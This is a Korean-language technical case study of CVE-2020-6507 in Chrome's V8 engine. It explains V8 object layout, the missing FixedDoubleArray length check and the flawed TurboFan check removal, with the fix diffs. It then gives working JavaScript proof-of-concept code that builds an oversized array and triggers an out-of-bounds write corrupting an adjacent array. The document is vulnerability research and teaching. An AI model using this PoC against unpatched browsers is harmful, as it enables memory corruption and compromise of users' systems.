CVE-2020-6507 case study

Chrome 83.0.4103.106 release note · 수정된 V8 fixed-array.tq

V8 내부 객체 구조

V8의 모든 HeapObject는 Map word로 시작한다. 다만 아래의 propertieselements 슬롯은 모든 객체에 공통으로 존재하는 헤더가 아니라 JSObject 계열의 기본 레이아웃이다.

[ Map Pointer | Properties Pointer | Elements Pointer | … (in-object fields) … ]
  • Map Pointer
    • 이 객체의 형상(shape)을 정의하는 값이다.
    • Hidden Class라고도 부르며, 프로퍼티 이름·순서·표현 방식·접근 오프셋 등의 메타데이터를 가진다.
  • Properties Pointer
    • 객체 밖에 저장되는 named property 값의 저장소를 가리킨다.
    • Fast Properties 모드의 descriptor는 Map에 연결되고, 객체 밖의 값은 PropertyArray에 저장된다. Dictionary Properties 모드에서는 dictionary 형태의 저장소를 사용한다.
  • Elements Pointer
    • 인덱스 property의 저장소를 가리킨다.
    • 보통 FixedArray 또는 FixedDoubleArray를 사용하며, backing store 자체가 길이와 원소 슬롯을 가진다. JSArray의 논리적 length는 배열 객체에 별도로 저장된다.
  • In-Object Fields
    • Map에 정의된 in-object property count만큼 객체 내부에 배치되는 슬롯 공간이다.
a = 1;
b = true;
c = ['1', '2'];
d = {"a": 2};
e = {"b": 1, "c": 3};
  • a = 1

1은 Smi(Small Integer)로 태그되어 레지스터나 스택에 직접 저장된다. 사용 가능한 payload 비트 수는 아키텍처와 pointer compression 설정에 따라 달라진다.

별도의 heap 객체를 할당하지 않고 즉시 사용할 수 있다.

  • b = true

true는 Smi가 아니라 V8이 미리 생성해둔 oddball heap object를 가리키는 값이다. 값을 사용할 때마다 새 객체를 할당하지는 않는다.

  • c = [‘1’, ‘2’]
    • HeapObject 헤더
      ┌───────────────────────────────────────────┐
      │ HeapObject for Array c                    │
      │ ┌────────────┬───────────────────────────┐│
      │ │ Map Ptr    │ → Map_Array               ││
      │ ├────────────┼───────────────────────────┤│
      │ │ properties │ → empty_properties_array  ││
      │ ├────────────┼───────────────────────────┤│
      │ │ elements   │ → FixedArray (len=2)      ││
      │ ├────────────┼───────────────────────────┤│
      │ │ InObject0  │ (unused)                  ││
      │ └────────────┴───────────────────────────┘│
      └───────────────────────────────────────────┘
    
    • Map_Array: 배열의 Map
    • properties: named property가 없다면 빈 properties 저장소를 가리킨다.
    • elements: 이 예시에서는 FixedArray에 문자열 원소를 가리키는 tagged value 두 개가 저장된다.
      • 문자열 '1', '2'는 heap의 String 객체로 표현된다.
  • d = {“a”: 2}, e = {“b”: 1, “c”: 3}
    • property가 추가되면 일반적으로 Map 전이가 일어난다.
    • 작은 객체의 초기 property는 흔히 in-object field에 저장된다. 공간이 부족해지면 값이 PropertyArray로 이동할 수 있으므로, 항상 propertiesFixedArray(len=1)로 바뀐다고 볼 수는 없다.

Root Cause

  • 배열 생성 시 최대 길이 검사 누락

V8 소스의 fixed-array.tq 파일에 정의된 매크로 NewFixedDoubleArray에는 생성하려는 배열의 길이가 kFixedDoubleArrayMaxLength를 초과하는지 검사하는 코드가 빠져 있다.

macro NewFixedDoubleArray<Iterator: type>(
    length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
  if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedDoubleArrayMaxLength) deferred {
+     runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
  return new FixedDoubleArray{
    map: kFixedDoubleArrayMap,
    length: Convert<Smi>(length),
    objects: …it
  };
}

이 때문에 길이가 한계치를 초과한 FixedDoubleArray 생성 경로가 열리고, 이후 V8이 전제하는 최대 길이 범위를 벗어난 상태가 만들어진다.

  • JIT 최적화 과정의 잘못된 검사 제거

TurboFan은 simplified-lowering 단계에서 타입 분석상 index < length가 항상 참이라고 판단하면 MaybeGrowFastElements를 기존 elements로 대체하는 최적화를 수행했다.

case IrOpcode::kMaybeGrowFastElements: {
  ProcessInput(node, 0, …);  // object
  ProcessInput(node, 1, …);  // elements
  ProcessInput(node, 2, …);  // index
  ProcessInput(node, 3, …);  // length
  ProcessRemainingInputs(node, 4);
  SetOutput(node, MachineRepresentation::kTaggedPointer);
- if (lower() && index_type.Max() < length_type.Min()) {
-   DeferReplacement(node, node->InputAt(1));
- }
  return;
}

배열 최대 길이 검사가 빠져 만들어진 비정상적으로 큰 배열은 이 타입 범위 전제를 깨뜨린다. 그 결과 위 최적화가 elements 확장 검사를 잘못 제거하고 OOB 쓰기로 이어진다. 즉 TurboFan에 배열 경계 검사가 전혀 없는 것이 아니라, 취약한 배열 길이와 잘못된 최적화 조건이 결합된 문제다.

PoC

  • giant_array 생성
array = Array(0x40000).fill(1.1);
args  = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);

array 길이: 0x40000 (262 144)

args에 0xff개(0x100 - 1)의 동일 배열 추가 → 길이 = 0x40000 × 0xff

마지막에 길이 0x40000−4 (262 140) 배열 추가 → 총합 = 262 144×255 + 262 140 = 67108860

  • splice를 통한 배열 재생성
giant_array.splice(
  giant_array.length, 0, 3.3, 3.3, 3.3
);

이 호출로 V8은 내부적으로 새로운 FixedDoubleArray를 만들면서 길이를 67108863으로 설정한다.

그러나 취약한 버전의 NewFixedDoubleArray는 최대 길이(kMaxLength = 67 108 862) 초과 여부를 검사하지 않으므로 내부 가정이 깨진 배열이 만들어진다.

  • 경계 검사 제거 반복 트리거
for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

JIT 컴파일러가 trigger 함수를 반복 실행해 최적화를 활성화한다.

최적화된 머신 코드에서는 잘못된 타입 추론으로 elements 확장 검사가 제거되어, 이후 해당 함수를 호출할 때 OOB 쓰기가 발생한다.

  • OOB 쓰기
function trigger(array) {
  var x = array.length;     // 67 108 863
  x -= 67_108_861;          // 2
  x = Math.max(x, 0);       // 2
  x *= 6;                   // 12
  x -= 5;                   // 7
  x = Math.max(x, 0);       // 7

  let corrupting_array = [0.1, 0.1];
  let corrupted_array  = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

x 계산 결과는 7인데, 실제 corrupting_array의 길이는 2이므로 인덱스 7은 경계 밖이다. 이때 length_as_double을 써서 인접 메모리를 덮어쓰게 된다.